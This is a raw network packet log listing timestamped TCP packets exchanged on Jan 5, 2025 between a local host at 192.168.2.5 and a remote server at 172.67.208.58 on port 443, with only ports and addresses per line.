Jan 5, 2025 17:55:40.470468998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470518112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470525026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470752954 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470774889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470829010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470835924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470845938 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470877886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.471019983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471035004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471091986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.471098900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471823931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471843004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471905947 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.471913099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.471942902 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.471950054 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472131014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472146034 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472204924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472210884 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472354889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472374916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472523928 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472531080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472583055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472719908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472734928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472760916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472774029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.472779989 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.472807884 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.475976944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.476006985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559035063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559060097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559134007 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559154987 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559180975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559230089 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559258938 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559422016 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559438944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559492111 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559499979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559787035 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559807062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559850931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.559859037 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.559887886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.560570002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560584068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560647964 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.560658932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560839891 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560858965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560898066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.560905933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.560936928 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.561450005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561464071 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561522961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.561531067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561618090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.561844110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561862946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561907053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.561914921 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.561944962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.562596083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.564512968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.647749901 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.647768974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.647881985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.647892952 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648004055 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648024082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648056984 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648063898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648092031 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648118973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648212910 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648227930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648277998 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648284912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648453951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648488045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648515940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648523092 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648544073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648751974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648766041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648806095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.648816109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.648839951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.649532080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.649545908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.649617910 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.649625063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.649974108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.649990082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650051117 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.650059938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650209904 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650223017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650279045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.650288105 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650506020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650518894 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650594950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.650608063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.650669098 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.699392080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.736674070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736694098 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736794949 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.736816883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736829996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736865044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736891985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.736907005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.736921072 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.736943007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.737144947 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737159967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737205982 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.737215042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737365961 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737385035 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737421989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.737430096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.737456083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.737483025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.738085985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738100052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738158941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.738172054 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738647938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738667011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738713026 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.738720894 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738750935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.738771915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.738970995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.738985062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.739047050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.739061117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.739190102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.739242077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.739259005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.739296913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.739304066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.739326000 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.739343882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.740143061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.742047071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.825396061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825423002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825483084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.825505018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825520039 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.825853109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825874090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825927973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.825934887 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.825947046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.825982094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826108932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826124907 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826169014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826174974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826186895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826349974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826369047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826406002 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826414108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826425076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826458931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.826930046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826945066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.826997995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827004910 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827132940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827347994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827363014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827409029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827415943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827445984 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827445984 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827693939 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827709913 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827749968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827756882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827776909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827847958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827867031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827904940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827914953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.827928066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.827951908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.828114986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.913997889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914021015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914094925 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914119005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914268017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914284945 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914290905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914303064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914314032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914346933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914515018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914530039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914583921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914592028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914737940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914757967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914800882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914808035 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.914838076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.914869070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.915534973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.915551901 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.915622950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.915630102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.915740013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916078091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916096926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916162014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916168928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916197062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916208029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916224003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916239977 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916281939 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916286945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916312933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916330099 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916486025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916502953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916558981 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916564941 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.916663885 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.916759014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.002773046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.002794981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.002876043 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.002886057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003026962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003047943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003114939 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003122091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003200054 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003212929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003230095 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003263950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003269911 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003295898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003329992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003485918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003504038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003540993 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003546953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.003573895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.003592968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004199982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004215956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004285097 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004292965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004669905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004725933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004745960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004785061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004791975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004815102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004823923 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.004950047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.004972935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.005026102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.005033970 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.005233049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.005254030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.005302906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.005311966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.005326033 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.005352974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.006433964 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091500998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091521025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091583967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091593027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091638088 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091707945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091722965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091767073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091773987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091795921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091814995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.091943979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.091959000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092005014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092011929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092053890 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092266083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092281103 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092324018 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092331886 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092358112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092370987 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092879057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092902899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092947006 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092952967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.092979908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.092999935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093558073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093574047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093637943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093646049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093687057 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093750000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093764067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093806028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093815088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093827963 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093852997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.093954086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.093967915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.094010115 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.094017029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.094038010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.094074965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.094559908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183294058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183319092 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183424950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183444023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183494091 CET	49843	443	192.168.2.5	172.67.208.58
